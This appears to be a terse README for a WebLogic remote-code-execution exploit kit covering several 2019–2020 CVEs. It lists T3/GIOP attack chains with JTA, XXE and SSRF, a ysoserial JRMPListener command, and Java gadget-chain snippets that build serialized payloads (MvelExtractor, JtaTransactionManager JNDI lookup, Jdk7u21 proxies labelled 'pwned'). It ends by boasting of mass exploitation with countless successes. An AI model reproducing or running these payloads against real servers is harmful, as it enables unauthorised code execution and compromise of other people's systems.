Twitter: @Hktalent3135773
1、Weblogic RCE exploit
CVE_2020_2546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3
2、exploit
- GIOP + send bind (CVE-2020-2555、CVE-2019-2888、CVE-2019-2888<XXE+SSRF> or others)
- GIOP + send jta (rmi or others)
- GIOP + send jta + SSRF
- T3 + send jta
- T3 + send jta + SSRF
- T3 + send XXE
- T3 + send XXE + SSRF
2.1、rmi server,see
- don't use org.mozilla.classfile.DefiningClassLoader
- don't use java -cp $mtx/../tools/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 'whoami' more see: https://github.com/hktalent/CVE-2020-2551
3、code
3.1、code1
MVEL.compileExpression
MvelExtractor o = new MvelExtractor("xxx;");
ObjectOutputStream oo = new ObjectOutputStream(System.out);
oo.writeObject(o);
oo.flush();
3.2、code2
public MsgOutput getObject(final String command) throws Exception {
String jndiAddress = command;
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
MsgOutput remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), MsgOutput.class);
return remote;
}
3.3、code3
public IORDelegate getObject(final String command) throws Exception {
IORDelegate ior = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", new Jdk7u21().getObject("whoami")), IORDelegate.class);
return ior;
}
3.4、code4
weblogic.iiop.IIOPRemoteRefd,ObjectMessageImpl
3.5、CVE-2020-2883 code
2883
4、CVE-2020-2546 payload
批量一波，成功无数
